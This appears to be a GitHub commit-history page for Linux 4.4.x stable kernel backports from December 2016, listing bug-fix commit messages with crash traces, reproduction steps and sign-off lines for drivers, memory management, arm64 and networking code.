    Code: 56 41 55 41 54 53 48 81 ec a8 00 00 00 44 8b 71 04 8b 42 04 4c 8b 67 18 45 85 f6 89 45 80 0f 84 b4 06 00 00 85 c0 75 2f 41 ff ce <49> c7 04 24 01 00 00 00 b0 01 75 0b 48 8b 41 18 48 83 38 01 0f
    RIP  [<ffffffff8138ce5d>] mpi_powm+0x32/0x7e6
     RSP <ffff880401297ad8>
    CR2: 0000000000000000
    ---[ end trace d82015255d4a5d8d ]---
    
    Basically, this is a backport of a libgcrypt patch:
    
    	http://git.gnupg.org/cgi-bin/gitweb.cgi?p=libgcrypt.git;a=patch;h=6e1adb05d290aeeb1c230c763970695f4a538526
    
    Fixes: cdec9cb ("crypto: GnuPG based MPI lib - source files (part 1)")
    Signed-off-by: Andrey Ryabinin <[email protected]>
    Signed-off-by: David Howells <[email protected]>
    cc: Dmitry Kasatkin <[email protected]>
    cc: [email protected]
    Signed-off-by: James Morris <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    aryabinin authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    2490908 View commit details
    Browse the repository at this point in the history
  18. drm/radeon: Ensure vblank interrupt is enabled on DPMS transition to on

    NOTE: This patch only applies to 4.5.y or older kernels. With newer
    kernels, this problem cannot happen because the driver now uses
    drm_crtc_vblank_on/off instead of drm_vblank_pre/post_modeset[0]. I
    consider this patch safer for older kernels than backporting the API
    change, because drm_crtc_vblank_on/off had various issues in older
    kernels, and I'm not sure all fixes for those have been backported to
    all stable branches where this patch could be applied.
    
        ---------------------
    
    Fixes the vblank interrupt being disabled when it should be on, which
    can cause at least the following symptoms:
    
    * Hangs when running 'xset dpms force off' in a GNOME session with
      gnome-shell using DRI2.
    * RandR 1.4 slave outputs freezing with garbage displayed using
      xf86-video-ati 7.8.0 or newer.
    
    [0] See upstream commit:
    
    commit 777e3cb
    Author: Daniel Vetter <[email protected]>
    Date:   Thu Jan 21 11:08:57 2016 +0100
    
        drm/radeon: Switch to drm_vblank_on/off
    
    Reported-and-Tested-by: Max Staudt <[email protected]>
    Reviewed-by: Daniel Vetter <[email protected]>
    Reviewed-by: Alex Deucher <[email protected]>
    Signed-off-by: Michel Dänzer <[email protected]>
    Michel Dänzer authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    e104937 View commit details
    Browse the repository at this point in the history
  19. mei: me: disable driver on SPT SPS firmware

    commit 8c57cac upstream.
    
    Sunrise Point PCH with SPS Firmware doesn't expose working
    MEI interface, we need to quirk it out.
    The SPS Firmware is identifiable only on the first PCI function
    of the device.
    
    Tested-by: Sujith Pandel <[email protected]>
    Signed-off-by: Tomas Winkler <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    tomasbw authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    4f13967 View commit details
    Browse the repository at this point in the history
  20. mei: me: fix place for kaby point device ids.

    This is fix of the backported patch only, it places
    KBL DIDs on correct place to easy on backporting of
    further DIDs.
    
    Fixes: 5c99f32 ('mei: me: add kaby point device ids')
    Signed-off-by: Tomas Winkler <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    tomasbw authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    bab2f72 View commit details
    Browse the repository at this point in the history
  21. mei: fix return value on disconnection

    commit 2d4d548 upstream.
    
    Correct errno on client disconnection is -ENODEV not -EBUSY
    
    Signed-off-by: Tomas Winkler <[email protected]>
    Signed-off-by: Alexander Usyskin <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    tomasbw authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    0b7860d View commit details
    Browse the repository at this point in the history
  22. flow_dissect: call init_default_flow_dissectors() earlier

    commit c9b8af1 upstream.
    
    Andre Noll reported panics after my recent fix (commit 34fad54
    "net: __skb_flow_dissect() must cap its return value")
    
    After some more headaches, Alexander root caused the problem to
    init_default_flow_dissectors() being called too late, in case
    a network driver like IGB is not a module and receives DHCP message
    very early.
    
    Fix is to call init_default_flow_dissectors() much earlier,
    as it is a core infrastructure and does not depend on another
    kernel service.
    
    Fixes: 06635a3 ("flow_dissect: use programable dissector in skb_flow_dissect and friends")
    Signed-off-by: Eric Dumazet <[email protected]>
    Reported-by: Andre Noll <[email protected]>
    Diagnosed-by: Alexander Duyck <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    c178e48 View commit details
    Browse the repository at this point in the history
  23. scsi: mpt3sas: Unblock device after controller reset

    commit 7ff723a upstream.
    
    While issuing any ATA passthrough command to firmware the driver will
    block the device. But it will unblock the device only if the I/O
    completes through the ISR path. If a controller reset occurs before
    command completion the device will remain in blocked state.
    
    Make sure we unblock the device following a controller reset if an ATA
    passthrough command was queued.
    
    [mkp: clarified patch description]
    
    Fixes: ac6c2a93bd07 ("mpt3sas: Fix for SATA drive in blocked state, after diag reset")
    Signed-off-by: Suganath Prabu S <[email protected]>
    Signed-off-by: Martin K. Petersen <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    suganathprabu0512 authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    6eddf5c View commit details
    Browse the repository at this point in the history
  24. Linux 4.4.36

    gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    87c6c6e View commit details
    Browse the repository at this point in the history

Commits on Dec 8, 2016

  1. ARC: Don't use "+l" inline asm constraint

    commit 3c7c7a2 upstream.
    
    Apparenty this is coming in the way of gcc fix which inhibits the usage
    of LP_COUNT as a gpr.
    
    Signed-off-by: Vineet Gupta <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    vineetgarc authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    5b2ed6e View commit details
    Browse the repository at this point in the history
  2. zram: fix unbalanced idr management at hot removal

    commit 529e71e upstream.
    
    The zram hot removal code calls idr_remove() even when zram_remove()
    returns an error (typically -EBUSY).  This results in a leftover at the
    device release, eventually leading to a crash when the module is
    reloaded.
    
    As described in the bug report below, the following procedure would
    cause an Oops with zram:
    
     - provision three zram devices via modprobe zram num_devices=3
     - configure a size for each device
       + echo "1G" > /sys/block/$zram_name/disksize
     - mkfs and mount zram0 only
     - attempt to hot remove all three devices
       + echo 2 > /sys/class/zram-control/hot_remove
       + echo 1 > /sys/class/zram-control/hot_remove
       + echo 0 > /sys/class/zram-control/hot_remove
         - zram0 removal fails with EBUSY, as expected
     - unmount zram0
     - try zram0 hot remove again
       + echo 0 > /sys/class/zram-control/hot_remove
         - fails with ENODEV (unexpected)
     - unload zram kernel module
       + completes successfully
     - zram0 device node still exists
     - attempt to mount /dev/zram0
       + mount command is killed
       + following BUG is encountered
    
     BUG: unable to handle kernel paging request at ffffffffa0002ba0
     IP: get_disk+0x16/0x50
     Oops: 0000 [Freescale#1] SMP
     CPU: 0 PID: 252 Comm: mount Not tainted 4.9.0-rc6 Freescale#176
     Call Trace:
       exact_lock+0xc/0x20
       kobj_lookup+0xdc/0x160
       get_gendisk+0x2f/0x110
       __blkdev_get+0x10c/0x3c0
       blkdev_get+0x19d/0x2e0
       blkdev_open+0x56/0x70
       do_dentry_open.isra.19+0x1ff/0x310
       vfs_open+0x43/0x60
       path_openat+0x2c9/0xf30
       do_filp_open+0x79/0xd0
       do_sys_open+0x114/0x1e0
       SyS_open+0x19/0x20
       entry_SYSCALL_64_fastpath+0x13/0x94
    
    This patch adds the proper error check in hot_remove_store() not to call
    idr_remove() unconditionally.
    
    Fixes: 17ec4cd ("zram: don't call idr_remove() from zram_remove()")
    Bugzilla: https://bugzilla.opensuse.org/show_bug.cgi?id=1010970
    Link: http://lkml.kernel.org/r/[email protected]
    Signed-off-by: Takashi Iwai <[email protected]>
    Reviewed-by: David Disseldorp <[email protected]>
    Reported-by: David Disseldorp <[email protected]>
    Tested-by: David Disseldorp <[email protected]>
    Acked-by: Minchan Kim <[email protected]>
    Acked-by: Sergey Senozhatsky <[email protected]>
    Signed-off-by: Andrew Morton <[email protected]>
    Signed-off-by: Linus Torvalds <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    tiwai authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    61ab624 View commit details
    Browse the repository at this point in the history
  3. kasan: update kasan_global for gcc 7

    commit 045d599 upstream.
    
    kasan_global struct is part of compiler/runtime ABI.  gcc revision
    241983 has added a new field to kasan_global struct.  Update kernel
    definition of kasan_global struct to include the new field.
    
    Without this patch KASAN is broken with gcc 7.
    
    Link: http://lkml.kernel.org/r/[email protected]
    Signed-off-by: Dmitry Vyukov <[email protected]>
    Acked-by: Andrey Ryabinin <[email protected]>
    Cc: Alexander Potapenko <[email protected]>
    Signed-off-by: Andrew Morton <[email protected]>
    Signed-off-by: Linus Torvalds <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    dvyukov authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    9957616 View commit details
    Browse the repository at this point in the history
  4. x86/traps: Ignore high word of regs->cs in early_fixup_exception()

    commit fc0e81b upstream.
    
    On the 80486 DX, it seems that some exceptions may leave garbage in
    the high bits of CS.  This causes sporadic failures in which
    early_fixup_exception() refuses to fix up an exception.
    
    As far as I can tell, this has been buggy for a long time, but the
    problem seems to have been exacerbated by commits:
    
      1e02ce4 ("x86: Store a per-cpu shadow copy of CR4")
      e1bfc11 ("x86/init: Fix cr4_init_shadow() on CR4-less machines")
    
    This appears to have broken for as long as we've had early
    exception handling.
    
    [ This backport should apply to kernels from 3.4 - 4.5. ]
    
    Fixes: 4c5023a ("x86-32: Handle exception table entries during early boot")
    Cc: H. Peter Anvin <[email protected]>
    Reported-by: Matthew Whitehead <[email protected]>
    Signed-off-by: Andy Lutomirski <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    amluto authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    5a5f703 View commit details
    Browse the repository at this point in the history
  5. ALSA: pcm : Call kill_fasync() in stream lock

    commit 3aa02cb upstream.
    
    Currently kill_fasync() is called outside the stream lock in
    snd_pcm_period_elapsed().  This is potentially racy, since the stream
    may get released even during the irq handler is running.  Although
    snd_pcm_release_substream() calls snd_pcm_drop(), this doesn't
    guarantee that the irq handler finishes, thus the kill_fasync() call
    outside the stream spin lock may be invoked after the substream is
    detached, as recently reported by KASAN.
    
    As a quick workaround, move kill_fasync() call inside the stream
    lock.  The fasync is rarely used interface, so this shouldn't have a
    big impact from the performance POV.
    
    Ideally, we should implement some sync mechanism for the proper finish
    of stream and irq handler.  But this oneliner should suffice for most
    cases, so far.
    
    Reported-by: Baozeng Ding <[email protected]>
    Signed-off-by: Takashi Iwai <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    tiwai authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    58cebd1 View commit details
    Browse the repository at this point in the history
  6. rcu: Fix soft lockup for rcu_nocb_kthread

    commit bedc196 upstream.
    
    Carrying out the following steps results in a softlockup in the
    RCU callback-offload (rcuo) kthreads:
    
    1. Connect to ixgbevf, and set the speed to 10Gb/s.
    2. Use ifconfig to bring the nic up and down repeatedly.
    
    [  317.005148] IPv6: ADDRCONF(NETDEV_CHANGE): eth2: link becomes ready
    [  368.106005] BUG: soft lockup - CPU#1 stuck for 22s! [rcuos/1:15]
    [  368.106005] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011
    [  368.106005] task: ffff88057dd8a220 ti: ffff88057dd9c000 task.ti: ffff88057dd9c000
    [  368.106005] RIP: 0010:[<ffffffff81579e04>]  [<ffffffff81579e04>] fib_table_lookup+0x14/0x390
    [  368.106005] RSP: 0018:ffff88061fc83ce8  EFLAGS: 00000286
    [  368.106005] RAX: 0000000000000001 RBX: 00000000020155c0 RCX: 0000000000000001
    [  368.106005] RDX: ffff88061fc83d50 RSI: ffff88061fc83d70 RDI: ffff880036d11a00
    [  368.106005] RBP: ffff88061fc83d08 R08: 0000000000000001 R09: 0000000000000000
    [  368.106005] R10: ffff880036d11a00 R11: ffffffff819e0900 R12: ffff88061fc83c58
    [  368.106005] R13: ffffffff816154dd R14: ffff88061fc83d08 R15: 00000000020155c0
    [  368.106005] FS:  0000000000000000(0000) GS:ffff88061fc80000(0000) knlGS:0000000000000000
    [  368.106005] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
    [  368.106005] CR2: 00007f8c2aee9c40 CR3: 000000057b222000 CR4: 00000000000407e0
    [  368.106005] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
    [  368.106005] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
    [  368.106005] Stack:
    [  368.106005]  00000000010000c0 ffff88057b766000 ffff8802e380b000 ffff88057af03e00
    [  368.106005]  ffff88061fc83dc0 ffffffff815349a6 ffff88061fc83d40 ffffffff814ee146
    [  368.106005]  ffff8802e380af00 00000000e380af00 ffffffff819e0900 020155c0010000c0
    [  368.106005] Call Trace:
    [  368.106005]  <IRQ>
    [  368.106005]
    [  368.106005]  [<ffffffff815349a6>] ip_route_input_noref+0x516/0xbd0
    [  368.106005]  [<ffffffff814ee146>] ? skb_release_data+0xd6/0x110
    [  368.106005]  [<ffffffff814ee20a>] ? kfree_skb+0x3a/0xa0
    [  368.106005]  [<ffffffff8153698f>] ip_rcv_finish+0x29f/0x350
    [  368.106005]  [<ffffffff81537034>] ip_rcv+0x234/0x380
    [  368.106005]  [<ffffffff814fd656>] __netif_receive_skb_core+0x676/0x870
    [  368.106005]  [<ffffffff814fd868>] __netif_receive_skb+0x18/0x60
    [  368.106005]  [<ffffffff814fe4de>] process_backlog+0xae/0x180
    [  368.106005]  [<ffffffff814fdcb2>] net_rx_action+0x152/0x240
    [  368.106005]  [<ffffffff81077b3f>] __do_softirq+0xef/0x280
    [  368.106005]  [<ffffffff8161619c>] call_softirq+0x1c/0x30
    [  368.106005]  <EOI>
    [  368.106005]
    [  368.106005]  [<ffffffff81015d95>] do_softirq+0x65/0xa0
    [  368.106005]  [<ffffffff81077174>] local_bh_enable+0x94/0xa0
    [  368.106005]  [<ffffffff81114922>] rcu_nocb_kthread+0x232/0x370
    [  368.106005]  [<ffffffff81098250>] ? wake_up_bit+0x30/0x30
    [  368.106005]  [<ffffffff811146f0>] ? rcu_start_gp+0x40/0x40
    [  368.106005]  [<ffffffff8109728f>] kthread+0xcf/0xe0
    [  368.106005]  [<ffffffff810971c0>] ? kthread_create_on_node+0x140/0x140
    [  368.106005]  [<ffffffff816147d8>] ret_from_fork+0x58/0x90
    [  368.106005]  [<ffffffff810971c0>] ? kthread_create_on_node+0x140/0x140
    
    ==================================cut here==============================
    
    It turns out that the rcuos callback-offload kthread is busy processing
    a very large quantity of RCU callbacks, and it is not reliquishing the
    CPU while doing so.  This commit therefore adds an cond_resched_rcu_qs()
    within the loop to allow other tasks to run.
    
    Signed-off-by: Ding Tianhong <[email protected]>
    [ paulmck: Substituted cond_resched_rcu_qs for cond_resched. ]
    Signed-off-by: Paul E. McKenney <[email protected]>
    Cc: Dhaval Giani <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    dingtianhong authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    dfb704f View commit details
    Browse the repository at this point in the history
  7. PCI: Export pcie_find_root_port

    commit e784930 upstream.
    
    Export pcie_find_root_port() so we can use it outside of PCIe-AER error
    injection.
    
    Signed-off-by: Johannes Thumshirn <[email protected]>
    Signed-off-by: Bjorn Helgaas <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Johannes Thumshirn authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    140ff0a View commit details
    Browse the repository at this point in the history
  8. PCI: Set Read Completion Boundary to 128 iff Root Port supports it (_…

    …HPX)
    
    commit e42010d upstream.
    
    Per PCIe spec r3.0, sec 2.3.1.1, the Read Completion Boundary (RCB)
    determines the naturally aligned address boundaries on which a Read Request
    may be serviced with multiple Completions:
    
      - For a Root Complex, RCB is 64 bytes or 128 bytes
        This value is reported in the Link Control Register
    
        Note: Bridges and Endpoints may implement a corresponding command bit
        which may be set by system software to indicate the RCB value for the
        Root Complex, allowing the Bridge/Endpoint to optimize its behavior
        when the Root Complex’s RCB is 128 bytes.
    
      - For all other system elements, RCB is 128 bytes
    
    Per sec 7.8.7, if a Root Port only supports a 64-byte RCB, the RCB of all
    downstream devices must be clear, indicating an RCB of 64 bytes.  If the
    Root Port supports a 128-byte RCB, we may optionally set the RCB of
    downstream devices so they know they can generate larger Completions.
    
    Some BIOSes supply an _HPX that tells us to set RCB, even though the Root
    Port doesn't have RCB set, which may lead to Malformed TLP errors if the
    Endpoint generates completions larger than the Root Port can handle.
    
    The IBM x3850 X6 with BIOS version -[A8E120CUS-1.30]- 08/22/2016 supplies
    such an _HPX and a Mellanox MT27500 ConnectX-3 device fails to initialize:
    
      mlx4_core 0000:41:00.0: command 0xfff timed out (go bit not cleared)
      mlx4_core 0000:41:00.0: device is going to be reset
      mlx4_core 0000:41:00.0: Failed to obtain HW semaphore, aborting
      mlx4_core 0000:41:00.0: Fail to reset HCA
      ------------[ cut here ]------------
      kernel BUG at drivers/net/ethernet/mellanox/mlx4/catas.c:193!
    
    After 6cd3364 ("PCI: Add pci_configure_device() during enumeration")
    and 7a1562d ("PCI: Apply _HPX Link Control settings to all devices
    with a link"), we apply _HPX settings to *all* devices, not just those
    hot-added after boot.
    
    Before 7a1562d, we didn't touch the Mellanox RCB, and the device
    worked.  After 7a1562d, we set its RCB to 128, and it failed.
    
    Set the RCB to 128 iff the Root Port supports a 128-byte RCB.  Otherwise,
    set RCB to 64 bytes.  This effectively ignores what _HPX tells us about
    RCB.
    
    Note that this change only affects _HPX handling.  If we have no _HPX, this
    does nothing with RCB.
    
    [bhelgaas: changelog, clear RCB if not set for Root Port]
    Fixes: 6cd3364 ("PCI: Add pci_configure_device() during enumeration")
    Fixes: 7a1562d ("PCI: Apply _HPX Link Control settings to all devices with a link")
    Link: https://bugzilla.kernel.org/show_bug.cgi?id=187781
    Tested-by: Frank Danapfel <[email protected]>
    Signed-off-by: Johannes Thumshirn <[email protected]>
    Signed-off-by: Bjorn Helgaas <[email protected]>
    Acked-by: Myron Stowe <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Johannes Thumshirn authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    ac6e42d View commit details
    Browse the repository at this point in the history
  9. mwifiex: printk() overflow with 32-byte SSIDs

    commit fcd2042 upstream.
    
    SSIDs aren't guaranteed to be 0-terminated. Let's cap the max length
    when we print them out.
    
    This can be easily noticed by connecting to a network with a 32-octet
    SSID:
    
    [ 3903.502925] mwifiex_pcie 0000:01:00.0: info: trying to associate to
    '0123456789abcdef0123456789abcdef <uninitialized mem>' bssid
    xx:xx:xx:xx:xx:xx
    
    Fixes: 5e6e3a9 ("wireless: mwifiex: initial commit for Marvell mwifiex driver")
    Signed-off-by: Brian Norris <[email protected]>
    Acked-by: Amitkumar Karwar <[email protected]>
    Signed-off-by: Kalle Valo <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    computersforpeace authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    d7a2c25 View commit details
    Browse the repository at this point in the history
  10. pwm: Fix device reference leak

    commit 0e1614a upstream.
    
    Make sure to drop the reference to the parent device taken by
    class_find_device() after "unexporting" any children when deregistering
    a PWM chip.
    
    Fixes: 0733424 ("pwm: Unexport children before chip removal")
    Signed-off-by: Johan Hovold <[email protected]>
    Signed-off-by: Thierry Reding <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    jhovold authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    4fd108f View commit details
    Browse the repository at this point in the history
  11. arm64: cpufeature: Schedule enable() calls instead of calling them vi…

    …a IPI
    
    commit 2a6dcb2 upstream.
    
    The enable() call for a cpufeature/errata is called using on_each_cpu().
    This issues a cross-call IPI to get the work done. Implicitly, this
    stashes the running PSTATE in SPSR when the CPU receives the IPI, and
    restores it when we return. This means an enable() call can never modify
    PSTATE.
    
    To allow PAN to do this, change the on_each_cpu() call to use
    stop_machine(). This schedules the work on each CPU which allows
    us to modify PSTATE.
    
    This involves changing the protype of all the enable() functions.
    
    enable_cpu_capabilities() is called during boot and enables the feature
    on all online CPUs. This path now uses stop_machine(). CPU features for
    hotplug'd CPUs are enabled by verify_local_cpu_features() which only
    acts on the local CPU, and can already modify the running PSTATE as it
    is called from secondary_start_kernel().
    
    Reported-by: Tony Thompson <[email protected]>
    Reported-by: Vladimir Murzin <[email protected]>
    Signed-off-by: James Morse <[email protected]>
    Cc: Suzuki K Poulose <[email protected]>
    Signed-off-by: Will Deacon <[email protected]>
    [Removed enable() hunks for features/errata v4.4. doesn't have. Changed
     caps->enable arg in enable_cpu_capabilities()]
    Signed-off-by: James Morse <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    James Morse authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    da643dc View commit details
    Browse the repository at this point in the history
  12. arm64: mm: Set PSTATE.PAN from the cpu_enable_pan() call

    commit 7209c86 upstream.
    
    Commit 338d4f4 ("arm64: kernel: Add support for Privileged Access
    Never") enabled PAN by enabling the 'SPAN' feature-bit in SCTLR_EL1.
    This means the PSTATE.PAN bit won't be set until the next return to the
    kernel from userspace. On a preemptible kernel we may schedule work that
    accesses userspace on a CPU before it has done this.
    
    Now that cpufeature enable() calls are scheduled via stop_machine(), we
    can set PSTATE.PAN from the cpu_enable_pan() call.
    
    Add WARN_ON_ONCE(in_interrupt()) to check the PSTATE value we updated
    is not immediately discarded.
    
    Reported-by: Tony Thompson <[email protected]>
    Reported-by: Vladimir Murzin <[email protected]>
    Signed-off-by: James Morse <[email protected]>
    [will: fixed typo in comment]
    Signed-off-by: Will Deacon <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    James Morse authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    d24207a View commit details
    Browse the repository at this point in the history
  13. arm64: suspend: Reconfigure PSTATE after resume from idle

    commit d085441 upstream.
    
    The suspend/resume path in kernel/sleep.S, as used by cpu-idle, does not
    save/restore PSTATE. As a result of this cpufeatures that were detected
    and have bits in PSTATE get lost when we resume from idle.
    
    UAO gets set appropriately on the next context switch. PAN will be
    re-enabled next time we return from user-space, but on a preemptible
    kernel we may run work accessing user space before this point.
    
    Add code to re-enable theses two features in __cpu_suspend_exit().
    We re-use uao_thread_switch() passing current.
    
    Signed-off-by: James Morse <[email protected]>
    Cc: Lorenzo Pieralisi <[email protected]>
    Signed-off-by: Will Deacon <[email protected]>
    [Removed UAO hooks and commit-message references: this feature is not
     present in v4.4]
    Signed-off-by: James Morse <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    James Morse authored and gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    71710cd View commit details
    Browse the repository at this point in the history
  14. Linux 4.4.37

    gregkh committed Dec 8, 2016
    Configuration menu
    Copy the full SHA
    e5f84c1 View commit details
    Browse the repository at this point in the history

Commits on Dec 10, 2016

  1. virtio-net: add a missing synchronize_net()

    [ Upstream commit 963abe5 ]
    
    It seems many drivers do not respect napi_hash_del() contract.
    
    When napi_hash_del() is used before netif_napi_del(), an RCU grace
    period is needed before freeing NAPI object.
    
    Fixes: 9181563 ("virtio-net: rx busy polling support")
    Signed-off-by: Eric Dumazet <[email protected]>
    Cc: Jason Wang <[email protected]>
    Cc: Michael S. Tsirkin <[email protected]>
    Acked-by: Michael S. Tsirkin <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    790fd11 View commit details
    Browse the repository at this point in the history
  2. net: check dead netns for peernet2id_alloc()

    [ Upstream commit cfc44a4 ]
    
    Andrei reports we still allocate netns ID from idr after we destroy
    it in cleanup_net().
    
    cleanup_net():
      ...
      idr_destroy(&net->netns_ids);
      ...
      list_for_each_entry_reverse(ops, &pernet_list, list)
        ops_exit_list(ops, &net_exit_list);
          -> rollback_registered_many()
            -> rtmsg_ifinfo_build_skb()
             -> rtnl_fill_ifinfo()
               -> peernet2id_alloc()
    
    After that point we should not even access net->netns_ids, we
    should check the death of the current netns as early as we can in
    peernet2id_alloc().
    
    For net-next we can consider to avoid sending rtmsg totally,
    it is a good optimization for netns teardown path.
    
    Fixes: 0c7aecd ("netns: add rtnl cmd to add and get peer netns ids")
    Reported-by: Andrei Vagin <[email protected]>
    Cc: Nicolas Dichtel <[email protected]>
    Signed-off-by: Cong Wang <[email protected]>
    Acked-by: Andrei Vagin <[email protected]>
    Signed-off-by: Nicolas Dichtel <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    congwang authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    2b54505 View commit details
    Browse the repository at this point in the history
  3. ip6_tunnel: disable caching when the traffic class is inherited

    [ Upstream commit b5c2d49 ]
    
    If an ip6 tunnel is configured to inherit the traffic class from
    the inner header, the dst_cache must be disabled or it will foul
    the policy routing.
    
    The issue is apprently there since at leat Linux-2.6.12-rc2.
    
    Reported-by: Liam McBirnie <[email protected]>
    Cc: Liam McBirnie <[email protected]>
    Acked-by: Hannes Frederic Sowa <[email protected]>
    Signed-off-by: Paolo Abeni <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Paolo Abeni authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    49695d1 View commit details
    Browse the repository at this point in the history
  4. net: sky2: Fix shutdown crash

    [ Upstream commit 06ba3b2 ]
    
    The sky2 frequently crashes during machine shutdown with:
    
    sky2_get_stats+0x60/0x3d8 [sky2]
    dev_get_stats+0x68/0xd8
    rtnl_fill_stats+0x54/0x140
    rtnl_fill_ifinfo+0x46c/0xc68
    rtmsg_ifinfo_build_skb+0x7c/0xf0
    rtmsg_ifinfo.part.22+0x3c/0x70
    rtmsg_ifinfo+0x50/0x5c
    netdev_state_change+0x4c/0x58
    linkwatch_do_dev+0x50/0x88
    __linkwatch_run_queue+0x104/0x1a4
    linkwatch_event+0x30/0x3c
    process_one_work+0x140/0x3e0
    worker_thread+0x60/0x44c
    kthread+0xdc/0xf0
    ret_from_fork+0x10/0x50
    
    This is caused by the sky2 being called after it has been shutdown.
    A previous thread about this can be found here:
    
    https://lkml.org/lkml/2016/4/12/410
    
    An alternative fix is to assure that IFF_UP gets cleared by
    calling dev_close() during shutdown. This is similar to what the
    bnx2/tg3/xgene and maybe others are doing to assure that the driver
    isn't being called following _shutdown().
    
    Signed-off-by: Jeremy Linton <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    jlintonarm authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    acf9504 View commit details
    Browse the repository at this point in the history
  5. af_unix: conditionally use freezable blocking calls in read

    [ Upstream commit 06a77b0 ]
    
    Commit 2b15af6 ("af_unix: use freezable blocking calls in read")
    converts schedule_timeout() to its freezable version, it was probably
    correct at that time, but later, commit 2b51457
    ("net: af_unix: implement splice for stream af_unix sockets") breaks
    the strong requirement for a freezable sleep, according to
    commit 0f9548c:
    
        We shouldn't try_to_freeze if locks are held.  Holding a lock can cause a
        deadlock if the lock is later acquired in the suspend or hibernate path
        (e.g.  by dpm).  Holding a lock can also cause a deadlock in the case of
        cgroup_freezer if a lock is held inside a frozen cgroup that is later
        acquired by a process outside that group.
    
    The pipe_lock is still held at that point.
    
    So use freezable version only for the recvmsg call path, avoid impact for
    Android.
    
    Fixes: 2b51457 ("net: af_unix: implement splice for stream af_unix sockets")
    Reported-by: Dmitry Vyukov <[email protected]>
    Cc: Tejun Heo <[email protected]>
    Cc: Colin Cross <[email protected]>
    Cc: Rafael J. Wysocki <[email protected]>
    Cc: Hannes Frederic Sowa <[email protected]>
    Signed-off-by: Cong Wang <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    congwang authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    6ef59b9 View commit details
    Browse the repository at this point in the history
  6. rtnetlink: fix FDB size computation

    [ Upstream commit f82ef3e ]
    
    Add missing NDA_VLAN attribute's size.
    
    Fixes: 1e53d5b ("net: Pass VLAN ID to rtnl_fdb_notify.")
    Signed-off-by: Sabrina Dubroca <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    qsn authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    aece024 View commit details
    Browse the repository at this point in the history
  7. l2tp: fix racy SOCK_ZAPPED flag check in l2tp_ip{,6}_bind()

    [ Upstream commit 32c2311 ]
    
    Lock socket before checking the SOCK_ZAPPED flag in l2tp_ip6_bind().
    Without lock, a concurrent call could modify the socket flags between
    the sock_flag(sk, SOCK_ZAPPED) test and the lock_sock() call. This way,
    a socket could be inserted twice in l2tp_ip6_bind_table. Releasing it
    would then leave a stale pointer there, generating use-after-free
    errors when walking through the list or modifying adjacent entries.
    
